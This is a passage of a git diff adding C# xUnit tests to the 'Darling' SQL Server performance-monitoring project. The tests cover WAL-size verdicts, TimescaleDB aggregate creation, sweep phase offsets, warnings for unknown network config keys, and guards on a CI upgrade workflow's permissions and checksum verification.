+    /// by one or more steps away from the band) still reads stale, at every edge and in both directions.</summary>
+    [Theory]
+    [InlineData(20, 10)]
+    [InlineData(10, 20)]
+    [InlineData(40, 16)]
+    [InlineData(16, 40)]
+    [InlineData(200, 60)]
+    [InlineData(60, 200)]
+    [InlineData(300, 20)]
+    public void WalSizeVerdict_ARealChangeInHeadroomStillReadsStale(long freeAtWriteGb, long freeAtCheckGb)
+    {
+        Assert.Equal(
+            HostSettingVerdict.StaleAfterHardwareChange,
+            WalVerdictAfterWriteAndLaterReading(freeAtWriteGb * Gb, freeAtCheckGb * Gb));
+    }
+
+    /// <summary>#5459: only max_wal_size is tolerated, and an unreadable current value never is.</summary>
+    [Fact]
+    public void WalSizeVerdict_ToleranceAppliesOnlyToMaxWalSizeWithAReadableValue()
+    {
+        Assert.Equal(1024, DarlingStoreHostProfile.ApplyWalDriftTolerance("shared_buffers", 1024, 2048, 16 * Gb));
+        Assert.Equal(1024, DarlingStoreHostProfile.ApplyWalDriftTolerance("max_wal_size", 1024, null, 16 * Gb));
+        Assert.Equal(2048, DarlingStoreHostProfile.ApplyWalDriftTolerance("max_wal_size", 1024, 2048, 16 * Gb));
+        Assert.Equal(1024, DarlingStoreHostProfile.ApplyWalDriftTolerance("max_wal_size", 1024, 4096, 16 * Gb));
+    }
+
     [Fact]
     public void ClassifyVerdict_OperatorOverrideIsAlwaysOperatorOverride()
     {
diff --git a/Darling/Darling.Tests/DarlingStoreUpgradeTests.cs b/Darling/Darling.Tests/DarlingStoreUpgradeTests.cs
index 7c136d8e8c..d00c3ee1c5 100644
--- a/Darling/Darling.Tests/DarlingStoreUpgradeTests.cs
+++ b/Darling/Darling.Tests/DarlingStoreUpgradeTests.cs
@@ -5950,6 +5950,55 @@ beside the service. */
         }
     }
 
+    /// <summary>
+    /// A fresh store, built the way the service starts one (a real first-run cluster, the migrations, then
+    /// <see cref="DarlingWorker.StoreObjectConvergence"/>), ends up with every continuous aggregate the product
+    /// declares. Nothing else checks the outcome: <see cref="StoreObjectConvergenceTests"/> pins the order of the
+    /// list and the aggregate step only warns when one CREATE fails, so a store can finish its start-up one
+    /// rollup short and look healthy.
+    ///
+    /// <para>The second half is the proof the check can fail. The same walk on a second fresh database, with the
+    /// <c>collection_log hypertable</c> step left out, ends without <c>collection_health_hourly</c>: that
+    /// aggregate sits on <c>collect.collection_log</c>, and its CREATE is refused with 0A000 ("invalid continuous
+    /// aggregate view") until the table is a hypertable (#3893). The failure has to name it.</para>
+    /// </summary>
+    [Fact]
+    public async Task AFreshStore_EndsTheRealWalkWithEveryDeclaredAggregate_AndWithoutTheCollectionLogStep_LacksCollectionHealthHourly()
+    {
+        var runtimeRoot = Environment.GetEnvironmentVariable("DARLING_TEST_PGRUNTIME");
+        Assert.SkipWhen(string.IsNullOrWhiteSpace(runtimeRoot),
+            "Set DARLING_TEST_PGRUNTIME to an assembled pg-runtime directory (the folder containing pgsql\\bin\\pg_ctl.exe).");
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "The bundled runtime is Windows-only.");
+        Assert.SkipUnless(File.Exists(Path.Combine(runtimeRoot!, "pgsql", "bin", "pg_ctl.exe")),
+            $"DARLING_TEST_PGRUNTIME={runtimeRoot} does not contain pgsql\\bin\\pg_ctl.exe.");
+
+        var root = Directory.CreateTempSubdirectory("darling-fresh-aggregates-");
+        var store = new DarlingManagedPostgres(
+            new PostgresConfig { Managed = true, Port = FindFreeTcpPort(), DataDirectory = Path.Combine(root.FullName, "pg") },
+            NullLogger.Instance, runtimeRoot);
+        using var timeout = new CancellationTokenSource(TimeSpan.FromMinutes(10));
+
+        try
+        {
+            var owner = await store.EnsureRunningAsync(timeout.Token);
+
+            /* GREEN: the real list. The walk's own closing assertion is the check. */
+            await BuildProductStoreObjectsAsync(owner, timeout.Token);
+
+            /* RED: a second fresh database on the same cluster, the same walk minus the collection_log step. */
+            await ExecuteOnAsync(owner, "CREATE DATABASE walk_without_collection_log", timeout.Token);
+            var without = new NpgsqlConnectionStringBuilder(owner) { Database = "walk_without_collection_log" }.ConnectionString;
+            var failure = await Assert.ThrowsAnyAsync<Xunit.Sdk.XunitException>(
+                () => BuildProductStoreObjectsAsync(without, timeout.Token, leaveOutStep: "collection_log hypertable"));
+            Assert.Contains("collection_health_hourly", failure.Message, StringComparison.Ordinal);
+        }
+        finally
+        {
+            await store.StopIfStartedByThisProcessAsync();
+            TryDeleteTree(root.FullName);
+        }
+    }
+
     /* ---------------- fixture construction ---------------- */
 
     /// <summary>
@@ -6086,9 +6135,13 @@ await ExecuteAsync(
     /// The product's own store objects, built the way the worker's start path builds them (#3908): the migrations,
     /// TimescaleDB enabled where the product enables it, then <see cref="DarlingWorker.StoreObjectConvergence"/>
     /// in its order. Every step has to succeed: a fixture missing a policy would let an upgrade that breaks it
-    /// pass.
+    /// pass. The walk ends on the outcome the list exists for, <see cref="AssertEveryDeclaredAggregateExistsAsync"/>,
+    /// because the aggregate step isolates its failures per aggregate (a warning, never a throw) and the loop
+    /// would otherwise carry on to a store that looks healthy minus one rollup. <paramref name="leaveOutStep"/>
+    /// names one step of the list to skip, so a test can show that assertion failing on a list that is short of it.
     /// </summary>
-    private static async Task BuildProductStoreObjectsAsync(string ownerConnectionString, CancellationToken cancellationToken)
+    private static async Task BuildProductStoreObjectsAsync(
+        string ownerConnectionString, CancellationToken cancellationToken, string? leaveOutStep = null)
     {
         var connectionString = new NpgsqlConnectionStringBuilder(ownerConnectionString)
         {
@@ -6108,10 +6161,60 @@ private static async Task BuildProductStoreObjectsAsync(string ownerConnectionSt
         Assert.True(await TimescaleSupport.TryEnableAsync(connection, NullLogger.Instance, cancellationToken),
             "TimescaleDB could not be enabled on the fixture store.");
 
-        foreach (var step in DarlingWorker.StoreObjectConvergence)
+        /* Found by name, so a renamed step fails here with the reason instead of being quietly left in. */
+        var steps = DarlingWorker.StoreObjectConvergence.Where(step => step.Name != leaveOutStep).ToList();
+        Assert.True(
+            DarlingWorker.StoreObjectConvergence.Count - steps.Count == (leaveOutStep is null ? 0 : 1),
+            $"The convergence list has no one step named '{leaveOutStep}'.");
+
+        var aggregatesReady = -1;
+        foreach (var step in steps)
         {
-            await step.EnsureAsync(connection, NullLogger.Instance, cancellationToken);
+            var count = await step.EnsureAsync(connection, NullLogger.Instance, cancellationToken);
+            if (step.Name == AggregateStepName)
+            {
+                aggregatesReady = count;
+            }
         }
+
+        await AssertEveryDeclaredAggregateExistsAsync(connection, aggregatesReady, cancellationToken);
+    }
+
+    /// <summary>The convergence step that returns how many continuous aggregates it built.</summary>
+    private const string AggregateStepName = "continuous aggregates";
+
+    /// <summary>
+    /// Every continuous aggregate the product declares is in <c>timescaledb_information.continuous_aggregates</c>,
+    /// and the aggregate step's own count says it built all of them. The expected set is the lists
+    /// <see cref="TimescaleSupport.EnsureContinuousAggregatesAsync"/> concatenates, never a number written here,
+    /// so an aggregate is covered the day it is declared; a sixth list added to that sweep and not here moves its
+    /// count off this one and fails the second check. The names come first, because "collection_health_hourly is
+    /// missing" is the failure a reader can act on.
+    /// </summary>
+    private static async Task AssertEveryDeclaredAggregateExistsAsync(
+        NpgsqlConnection connection, int aggregatesReady, CancellationToken cancellationToken)
+    {
+        var declared = TimescaleSupport.HourlyAggregates.Select(a => a.View)
+            .Concat(TimescaleSupport.DailyAggregates.Select(a => a.View))
+            .Concat(TimescaleSupport.BaselineAggregates.Select(a => a.View))
+            .Concat(TimescaleSupport.OffGridAggregates.Select(a => a.View))
+            .Concat(TimescaleSupport.FrozenRollupAggregates.Select(a => a.View))
+            .ToList();
+
+        var listed = await ScalarAsync<string>(
+            connection,
+            "SELECT COALESCE(string_agg(view_name, ',' ORDER BY view_name), '') FROM timescaledb_information.continuous_aggregates " +
+            $"WHERE view_schema = '{PgSchemaGenerator.CollectSchema}'",
+            cancellationToken);
+        var present = (listed ?? string.Empty).Split(',', StringSplitOptions.RemoveEmptyEntries).ToHashSet(StringComparer.Ordinal);
+
+        var missing = declared.Where(view => !present.Contains(view)).ToList();
+        Assert.True(
+            missing.Count == 0,
+            $"{missing.Count} of the {declared.Count} declared continuous aggregates are missing after the store-object walk: {string.Join(", ", missing)}.");
+        Assert.True(
+            aggregatesReady == declared.Count,
+            $"The '{AggregateStepName}' step reported {aggregatesReady} ready (-1 means the list has no such step); the declared lists hold {declared.Count}.");
     }
 
     /* ---------------- measurement ---------------- */
diff --git a/Darling/Darling.Tests/DarlingSweepSchedulingTests.cs b/Darling/Darling.Tests/DarlingSweepSchedulingTests.cs
index 21e5e68199..0e2de62b20 100644
--- a/Darling/Darling.Tests/DarlingSweepSchedulingTests.cs
+++ b/Darling/Darling.Tests/DarlingSweepSchedulingTests.cs
@@ -155,6 +155,45 @@ public void CadencePhaseOffset_NonPositivePeriod_IsZero()
         }
     }
 
+    /// <summary>
+    /// #4938: known (id, period) pairs keep their offsets, as literal whole seconds worked out on paper from
+    /// <c>(uint)id % period</c>, so a change of formula, cast or home cannot move a server's phase unseen. The
+    /// shared run-time rules take their per-server spread from this same function at a 3600-second period, a period
+    /// the other pins here do not reach. Negative and extreme ids are the ones a signed modulo would get wrong.
+    /// </summary>
+    [Theory]
+    [InlineData(1, 150, 1)]
+    [InlineData(59, 150, 59)]
+    [InlineData(3599, 150, 149)]
+    [InlineData(123456789, 150, 39)]
+    [InlineData(-1, 150, 45)]
+    [InlineData(-123456789, 150, 7)]
+    [InlineData(int.MaxValue, 150, 97)]
+    [InlineData(int.MinValue, 150, 98)]
+    [InlineData(1, 1800, 1)]
+    [InlineData(59, 1800, 59)]
+    [InlineData(3599, 1800, 1799)]
+    [InlineData(123456789, 1800, 189)]
+    [InlineData(-1, 1800, 1695)]
+    [InlineData(-123456789, 1800, 1507)]
+    [InlineData(int.MaxValue, 1800, 847)]
+    [InlineData(int.MinValue, 1800, 848)]
+    [InlineData(1, 3600, 1)]
+    [InlineData(59, 3600, 59)]
+    [InlineData(3599, 3600, 3599)]
+    [InlineData(123456789, 3600, 1989)]
+    [InlineData(-1, 3600, 1695)]
+    [InlineData(-123456789, 3600, 3307)]
+    [InlineData(int.MaxValue, 3600, 847)]
+    [InlineData(int.MinValue, 3600, 848)]
+    public void CadencePhaseOffset_KnownIdsAndPeriods_KeepTheirValues(int serverId, int periodSeconds, int expectedSeconds)
+    {
+        Assert.Equal(TimeSpan.FromSeconds(expectedSeconds), CollectorCadence.CadencePhaseOffset(serverId, periodSeconds));
+
+        /* The worker's own member forwards to the shared one, so the seams that call it keep the same values. */
+        Assert.Equal(TimeSpan.FromSeconds(expectedSeconds), DarlingWorker.CadencePhaseOffset(serverId, periodSeconds));
+    }
+
     /// <summary>
     /// The bounded per-server sweep concurrency is pinned at 4 (a cheap drift tripwire). Hardcoded by design —
     /// defaults-over-config, no control-plane knob: 4 clears a 24-server worst case in ~6 waves while the 120s
diff --git a/Darling/Darling.Tests/DarlingTrendEmptyTests.cs b/Darling/Darling.Tests/DarlingTrendEmptyTests.cs
index 63db1defa3..96da2555f5 100644
--- a/Darling/Darling.Tests/DarlingTrendEmptyTests.cs
+++ b/Darling/Darling.Tests/DarlingTrendEmptyTests.cs
@@ -130,7 +130,7 @@ public void EachProbe_WalksTheSameRelationAsItsTrend()
         /* #3897: both file I/O statements — the ranking and the bucketed series — walk the probe's relation. */
         AssertSameRelation(DarlingTrendReader.HasAnyFileIoStatSql, DarlingTrendReader.FileIoSeriesSql);
         AssertSameRelation(DarlingTrendReader.HasAnyFileIoStatSql, DarlingTrendReader.FileIoTrendSql);
-        AssertSameRelation(DarlingTrendReader.HasAnyQueryStatSql, DarlingTrendReader.QueryDurationTrendSql);
+        AssertSameRelation(DarlingTrendReader.HasAnyQueryStatSql, DarlingTrendReader.QueryDurationTrendFilteredSql);
 
         /* And each stops at the first row: it runs on a path that already found nothing, and its only job
            is to pick which of the two sentences is true. */
diff --git a/Darling/Darling.Tests/DarlingTriageEndpointTests.cs b/Darling/Darling.Tests/DarlingTriageEndpointTests.cs
index 96f89b1369..d772aaac35 100644
--- a/Darling/Darling.Tests/DarlingTriageEndpointTests.cs
+++ b/Darling/Darling.Tests/DarlingTriageEndpointTests.cs
@@ -347,6 +347,8 @@ public void IsFleetLevelStoreServer_RecognisesTheOptedInStoreName_AndKeepsTheCon
     [Theory]
     [InlineData("Store Disk Pressure")]
     [InlineData("Store Runtime Upgrade")]
+    [InlineData("Collection Gap At Start")]
+    [InlineData("Collection Gaps In History")]
     [InlineData("Compression Job Stuck")]
     [InlineData("Store Disk Pressure Resolved")]
     [InlineData("Store Job Cadence Recovered")]
@@ -368,6 +370,8 @@ public void StoreMetricNameConstants_ResolveToTheirOwnMapping_NotTheFallback()
                      DarlingSelfAlertEvaluator.DiskPressureMetric,
                      DarlingSelfAlertEvaluator.DiskPressureResolvedMetric,
                      DarlingSelfAlertEvaluator.StoreUpgradeMetric,
+                     DarlingSelfAlertEvaluator.CollectionGapAtStartMetric,
+                     DarlingSelfAlertEvaluator.CollectionGapsInHistoryMetric,
                      DarlingSelfAlertEvaluator.CompressionJobMetric,
                      DarlingSelfAlertEvaluator.JobCadenceMetric,
                  })
diff --git a/Darling/Darling.Tests/DarlingUnknownNetworkKeyTests.cs b/Darling/Darling.Tests/DarlingUnknownNetworkKeyTests.cs
new file mode 100644
index 0000000000..c3a9dafc32
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingUnknownNetworkKeyTests.cs
@@ -0,0 +1,123 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using System.Text.Json.Serialization;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5307: darling.json names each key under <c>web.network</c> and <c>mcp.network</c> (their <c>tls</c> blocks and
+/// <c>web.network.oidc</c> included) that no config class declares, with its full path and never its value.
+/// </summary>
+public sealed class DarlingUnknownNetworkKeyTests
+{
+    private const string Secret = "hunter2-not-a-real-secret";
+
+    private static IReadOnlyList<string> WarningsFor(string json) =>
+        DarlingWorker.GetUnknownNetworkKeyWarnings(DarlingConfig.Parse(json));
+
+    [Theory]
+    [InlineData("mcp", "mcp.network.ssl")]
+    [InlineData("web", "web.network.ssl")]
+    public void ASslBlockWrittenWhereTlsWasMeant_GivesOneWarningNamingItsPath(string section, string path)
+    {
+        var warnings = WarningsFor("{ \"" + section + "\": { \"network\": { \"listen\": \"192.0.2.10\", \"ssl\": { \"pfxPath\": \"x.pfx\" } } } }");
+
+        var warning = Assert.Single(warnings);
+        Assert.Contains($"'{path}'", warning, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("""{ "mcp": { "network": { "tls": { "pfxPath": "x.pfx", "pfxPasswrd": "p" } } } }""", "mcp.network.tls.pfxPasswrd")]
+    [InlineData("""{ "web": { "network": { "tls": { "certPath": "c.pem", "keyFile": "k.pem" } } } }""", "web.network.tls.keyFile")]
+    [InlineData("""{ "web": { "network": { "oidc": { "authority": "https://idp.example", "clientID2": "c" } } } }""", "web.network.oidc.clientID2")]
+    public void AnUnknownKeyInsideATlsOrOidcBlock_IsNamedWithItsFullPath(string json, string path)
+    {
+        var warning = Assert.Single(WarningsFor(json));
+        Assert.Contains($"'{path}'", warning, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EveryUnknownKeyGetsItsOwnWarning_InFileOrder()
+    {
+        var warnings = WarningsFor("""
+            { "mcp": { "network": { "ssl": 1, "tls": { "oops": 2 } } },
+              "web": { "network": { "tokn": 3, "oidc": { "nope": 4 } } } }
+            """);
+
+        Assert.Equal(4, warnings.Count);
+        Assert.Contains("'mcp.network.ssl'", warnings[0], StringComparison.Ordinal);
+        Assert.Contains("'mcp.network.tls.oops'", warnings[1], StringComparison.Ordinal);
+        Assert.Contains("'web.network.tokn'", warnings[2], StringComparison.Ordinal);
+        Assert.Contains("'web.network.oidc.nope'", warnings[3], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AFileWithOnlyKnownKeys_LogsNoUnknownKeyWarning()
+    {
+        /* Every declared key of every checked object, spelled in a different case on purpose: the loader matches
+           names ignoring case, so the walk must too. */
+        var warnings = WarningsFor("""
+            { "mcp": { "Network": { "Listen": "192.0.2.10", "allowFrom": "192.0.2.0/24", "encryptedToken": "e", "token": "t",
+                        "hostName": "mcp.example", "TLS": { "pfxPath": "x.pfx", "encryptedPfxPassword": "e", "pfxPassword": "p",
+                        "certPath": "c", "keyPath": "k" } } },
+              "web": { "network": { "listen": "192.0.2.10", "allowFrom": "192.0.2.0/24", "encryptedToken": "e", "token": "t",
+                        "tls": { "pfxPath": "x.pfx" },
+                        "oidc": { "authority": "a", "clientId": "c", "encryptedClientSecret": "e", "clientSecret": "s",
+                        "scopes": "openid", "subjectClaim": "sub", "roleClaim": "r", "adminRoles": ["a"], "viewerRoles": ["v"] } } } }
+            """);
+
+        Assert.Empty(warnings);
+        Assert.Empty(WarningsFor("{}"));
+        Assert.Empty(WarningsFor("""{ "postgres": { "network": { "somethingElse": 1 } } }"""));
+    }
+
+    [Fact]
+    public void TheWarningsAndADiagnosticsBundleBuiltFromThatConfig_NeverCarryTheKeysValue()
+    {
+        var config = DarlingConfig.Parse("""
+            { "mcp": { "network": { "ssl": "hunter2-not-a-real-secret", "tls": { "pfxPasswrd": "hunter2-not-a-real-secret" } } },
+              "web": { "network": { "oidc": { "clientSecrt": "hunter2-not-a-real-secret" } } } }
+            """);
+
+        Assert.Equal(3, config.UnknownNetworkKeys.Count);
+        Assert.DoesNotContain(DarlingWorker.GetUnknownNetworkKeyWarnings(config), w => w.Contains(Secret, StringComparison.Ordinal));
+        Assert.DoesNotContain(Secret, DiagnosticsBundle.BuildConfigShape(config).ToJsonString(), StringComparison.Ordinal);
+        Assert.DoesNotContain(Secret, JsonSerializer.Serialize(config), StringComparison.Ordinal);
+        Assert.DoesNotContain("UnknownNetworkKeys", JsonSerializer.Serialize(config), StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The wizard's owned-key lists are meant to be PARTIAL (everything it does not own is kept, so <c>tls</c>,
+    /// <c>oidc</c> and later keys are not listed on purpose): each must be a subset of the matching class's JSON
+    /// names, so a renamed key cannot leave the wizard writing one the loader no longer reads.
+    /// </summary>
+    [Theory]
+    [InlineData(nameof(DarlingNetworkConfigEditor.McpNetworkOwnedKeys), typeof(McpNetworkConfig))]
+    [InlineData(nameof(DarlingNetworkConfigEditor.WebNetworkOwnedKeys), typeof(WebNetworkConfig))]
+    [InlineData(nameof(DarlingNetworkConfigEditor.StoreNetworkOwnedKeys), typeof(PostgresNetworkConfig))]
+    public void TheWizardsOwnedKeyList_IsASubsetOfTheClassesJsonNames(string listName, Type configType)
+    {
+        var list = (IReadOnlyList<string>)typeof(DarlingNetworkConfigEditor)
+            .GetField(listName, BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static)!.GetValue(null)!;
+        var jsonNames = configType.GetProperties()
+            .Select(p => p.GetCustomAttribute<JsonPropertyNameAttribute>()?.Name)
+            .Where(n => n is not null)
+            .ToHashSet(StringComparer.Ordinal);
+
+        Assert.NotEmpty(list);
+        Assert.All(list, key => Assert.Contains(key, jsonNames));
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingUpgradeInstallTreeWaitTests.cs b/Darling/Darling.Tests/DarlingUpgradeInstallTreeWaitTests.cs
index cc8c9089b3..65270fec0a 100644
--- a/Darling/Darling.Tests/DarlingUpgradeInstallTreeWaitTests.cs
+++ b/Darling/Darling.Tests/DarlingUpgradeInstallTreeWaitTests.cs
@@ -44,6 +44,10 @@ public sealed class DarlingUpgradeInstallTreeWaitTests
 {
     private static readonly TimeSpan PowerShellExitLimit = TimeSpan.FromSeconds(180);
 
+    /// <summary>How long the process the wait must refuse on stays alive (#5459): the longest the PowerShell child may
+    /// run, plus two minutes. The test kills it as soon as it is done with it.</summary>
+    private static readonly int HolderLifetimeSeconds = (int)PowerShellExitLimit.TotalSeconds + 120;
+
     private static string DeployScript => ReadRepoFile(Path.Combine("Darling", "tools", "upgrade-darling.ps1"));
 
     /// <summary>The shell this pin runs the extracted function under: Windows PowerShell 5.1 - the
@@ -144,13 +148,18 @@ about the product code. */
                 proc.WaitForExit(5_000);
             }
 
-            /* Bound (1s) shorter than the process's own lifetime (30s): it must refuse to wait forever and
-               return the still-running process instead. Killed in a finally so the test leaves nothing
-               behind even if an assertion above it fails first. */
+            /* Bound (1s) shorter than the process's own lifetime: it must refuse to wait forever and return the
+               still-running process instead. Killed in a finally so the test leaves nothing behind even if an
+               assertion above it fails first.
+
+               #5459: the holder used to live 30 s, but a PowerShell 5.1 that starts cold on a loaded runner takes
+               most of a minute before its first poll, so the holder could be gone by then and the wait found
+               nothing to refuse on. It now outlives the longest the child may run, so the result no longer
+               depends on how fast PowerShell starts. */
             Process? holder = null;
             try
             {
-                holder = StartUnder(sleeperExe, SleepArguments(30));
+                holder = StartUnder(sleeperExe, SleepArguments(HolderLifetimeSeconds));
                 var stillHolding = RunWait(pwsh!, resolvedRoot, waitSeconds: 1, pollSeconds: 1);
                 Assert.NotEmpty(stillHolding);
                 Assert.Contains(stillHolding, name => name.Contains(SleeperImageName, StringComparison.OrdinalIgnoreCase));
diff --git a/Darling/Darling.Tests/DarlingUpgradeShapesWorkflowTests.cs b/Darling/Darling.Tests/DarlingUpgradeShapesWorkflowTests.cs
new file mode 100644
index 0000000000..a4b0240199
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingUpgradeShapesWorkflowTests.cs
@@ -0,0 +1,226 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the shape of <c>darling-upgrade-shapes.yml</c> (#5627): the check that runs this commit's install and
+/// upgrade scripts over installs that real releases made.
+///
+/// <para><b>Why it is pinned.</b> The check only protects anyone while it runs. It runs when a pull request
+/// touches <c>Darling/tools/*.ps1</c> or the check itself, and in the nightly; a trigger edited away, a shape
+/// dropped from the matrix, one of the two Windows images lost, or the nightly job unwired leaves a workflow
+/// that still looks like a check and gates nothing. None of those turns a test red by itself, so this class
+/// reads the workflow text and says so.</para>
+///
+/// <para>The pull-request trigger must stay <c>pull_request</c>: the legs run the pull request's own scripts,
+/// and <c>pull_request_target</c> would run them with a write token and the repository's secrets.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class DarlingUpgradeShapesWorkflowTests
+{
+    private const string WorkflowPath = ".github/workflows/darling-upgrade-shapes.yml";
+    private const string ScriptPath = ".github/scripts/darling-upgrade-shapes.ps1";
+
+    private static string Workflow() => ReadRepoFileLf(WorkflowPath);
+
+    /// <summary>The workflow with comment-only lines removed, so prose may name the words the pins look for.</summary>
+    private static string Code(string yaml) =>
+        string.Join('\n', yaml.Split('\n').Where(line => !line.TrimStart().StartsWith('#')));
+
+    /// <summary>The indented block of the top-level key <paramref name="key"/> (the lines after it that are
+    /// indented deeper than the key), or the empty string when the key is absent.</summary>
+    private static string Block(string yaml, string key)
+    {
+        var lines = yaml.Split('\n');
+        var start = Array.FindIndex(lines, l => l.StartsWith(key + ":", StringComparison.Ordinal));
+        if (start < 0)
+        {
+            return "";
+        }
+
+        var body = new List<string>();
+        for (var i = start + 1; i < lines.Length; i++)
+        {
+            if (lines[i].Length > 0 && !char.IsWhiteSpace(lines[i][0]))
+            {
+                break;
+            }
+
+            body.Add(lines[i]);
+        }
+
+        return string.Join('\n', body);
+    }
+
+    private static List<string> MatrixList(string yaml, string name)
+    {
+        var m = Regex.Match(yaml, @"(?m)^\s+" + Regex.Escape(name) + @":\s*\[(?<items>[^\]]*)\]");
+        Assert.True(m.Success, $"the matrix has no '{name}: [ ... ]' list.");
+        return m.Groups["items"].Value.Split(',').Select(i => i.Trim()).Where(i => i.Length > 0).ToList();
+    }
+
+    [Fact]
+    public void TheTriggers_AreThePullRequestPaths_TheNightlyCall_AndAManualRun()
+    {
+        var code = Code(Workflow());
+        var on = Block(code, "on");
+
+        Assert.Contains("\n  pull_request:\n", "\n" + on, StringComparison.Ordinal);
+        Assert.DoesNotContain("pull_request_target", code, StringComparison.Ordinal);
+        Assert.Contains("\n  workflow_call:", "\n" + on, StringComparison.Ordinal);
+        Assert.Contains("\n  workflow_dispatch:", "\n" + on, StringComparison.Ordinal);
+
+        var paths = Regex.Matches(on, @"(?m)^\s+-\s+'([^']+)'\s*$").Select(m => m.Groups[1].Value).ToList();
+        Assert.Contains("Darling/tools/*.ps1", paths);
+        Assert.Contains(WorkflowPath, paths);
+        Assert.Contains(ScriptPath, paths);
+    }
+
+    [Fact]
+    public void TheMatrix_CoversTheFourShapes_OnBothWindowsImages()
+    {
+        var yaml = Code(Workflow());
+
+        var os = MatrixList(yaml, "os");
+        Assert.Equal(new[] { "windows-2022", "windows-2025" }, os.OrderBy(o => o, StringComparer.Ordinal));
+
+        var legs = MatrixList(yaml, "leg");
+        foreach (var shape in new[] { "U1", "U2", "U3", "U4" })
+        {
+            Assert.Contains(legs, l => l.StartsWith(shape + "-", StringComparison.Ordinal));
+        }
+
+        // Install AND upgrade for the three shapes that keep a service; U4 is the install refusal.
+        foreach (var leg in new[] { "U1-install", "U1-upgrade", "U2-install", "U2-upgrade", "U3-install", "U3-upgrade", "U4-install" })
+        {
+            Assert.Contains(leg, legs);
+        }
+
+        /* A leg the workflow names but the script's ValidateSet does not accept fails at its first line, and a leg
+           the script accepts but the workflow never runs is dead code. The two lists must be one list. */
+        var script = ReadRepoFileLf(ScriptPath);
+        var set = Regex.Match(script, @"\[ValidateSet\((?<items>[^)]*)\)\]\[string\]\$Leg");
+        Assert.True(set.Success, "the script's $Leg parameter has no ValidateSet.");
+        var accepted = Regex.Matches(set.Groups["items"].Value, @"'([^']+)'").Select(m => m.Groups[1].Value).ToList();
+        Assert.Equal(accepted.OrderBy(a => a, StringComparer.Ordinal), legs.OrderBy(l => l, StringComparer.Ordinal));
+    }
+
+    [Fact]
+    public void EveryJob_IsReadOnly_Bounded_AndChecksOutTheCommitUnderTest()
+    {
+        var yaml = Code(Workflow());
+
+        Assert.Matches(@"(?m)^permissions:\n  contents: read\s*$", yaml);
+        Assert.DoesNotMatch(@"(?m)^\s+(contents|packages|id-token|attestations|actions|pull-requests): write", yaml);
+
+        var jobs = Block(yaml, "jobs");
+        Assert.Matches(@"(?m)^    timeout-minutes: \d+\s*$", jobs);
+
+        Assert.Matches(@"(?m)^concurrency:\n  group: darling-upgrade-shapes-\$\{\{ github\.ref \}\}\n  cancel-in-progress: true\s*$", yaml);
+
+        var checkouts = Regex.Matches(yaml, @"uses: actions/checkout@v\d+\n\s+with:\n\s+ref: (?<ref>[^\n]+)");
+        Assert.Equal(Regex.Matches(yaml, @"uses: actions/checkout@").Count, checkouts.Count);
+        Assert.NotEmpty(checkouts);
+        foreach (Match c in checkouts)
+        {
+            Assert.Equal("${{ github.sha }}", c.Groups["ref"].Value.Trim());
+        }
+
+        // Third-party actions are pinned to a release line, never a moving branch name.
+        foreach (Match u in Regex.Matches(yaml, @"uses: (?<action>[^\s@]+)@(?<ref>\S+)"))
+        {
+            Assert.Matches(@"^v\d+$", u.Groups["ref"].Value);
+        }
+    }
+
+    [Fact]
+    public void TheReleaseVersions_AreNamedOnceAtTheTop()
+    {
+        var yaml = Code(Workflow());
+        var top = Block(yaml, "env");
+
+        Assert.Matches(@"DARLING_CURRENT_RELEASE: '\d+\.\d+\.\d+'", top);
+        Assert.Matches(@"DARLING_OLD_RELEASE: '\d+\.\d+\.\d+'", top);
+
+        var rest = yaml.Replace(top, "", StringComparison.Ordinal);
+        Assert.DoesNotMatch(@"\b\d+\.\d+\.\d+\b", rest);
+    }
+
+    /// <summary>
+    /// A release zip the legs download is run elevated, so its SHA-256 is compared with the release's own SHA256SUMS.txt
+    /// before it is extracted: the zip function hashes it on every call, a missing or repeated listing fails the
+    /// leg, and the only extraction of a downloaded zip comes after that function.
+    /// </summary>
+    [Fact]
+    public void TheDownloadedReleaseZips_AreCheckedAgainstTheReleasesChecksumFile_BeforeTheyAreExtracted()
+    {
+        var script = ReadRepoFileLf(ScriptPath);
+
+        var zipFunction = script[script.IndexOf("function Get-Zip(", StringComparison.Ordinal)..];
+        zipFunction = zipFunction[..zipFunction.IndexOf("\n}\n", StringComparison.Ordinal)];
+        Assert.True(zipFunction.IndexOf("gh release download", StringComparison.Ordinal) < zipFunction.IndexOf("Assert-ZipChecksum $version $zip", StringComparison.Ordinal));
+        Assert.True(zipFunction.IndexOf("Assert-ZipChecksum $version $zip", StringComparison.Ordinal) < zipFunction.IndexOf("return $zip", StringComparison.Ordinal));
+
+        var check = script[script.IndexOf("function Assert-ZipChecksum(", StringComparison.Ordinal)..];
+        check = check[..check.IndexOf("\n}\n", StringComparison.Ordinal)];
+        Assert.Contains("-p 'SHA256SUMS.txt'", check, StringComparison.Ordinal);
+        Assert.Contains("Get-FileHash -LiteralPath $zip -Algorithm SHA256", check, StringComparison.Ordinal);
+        Assert.Contains("$expected.Count -ne 1", check, StringComparison.Ordinal);
+        Assert.Contains("$actual -ne $expected[0]", check, StringComparison.Ordinal);
+        Assert.Contains("Fail-Leg", check, StringComparison.Ordinal);
+
+        // Every extraction takes a zip that came out of Get-Zip.
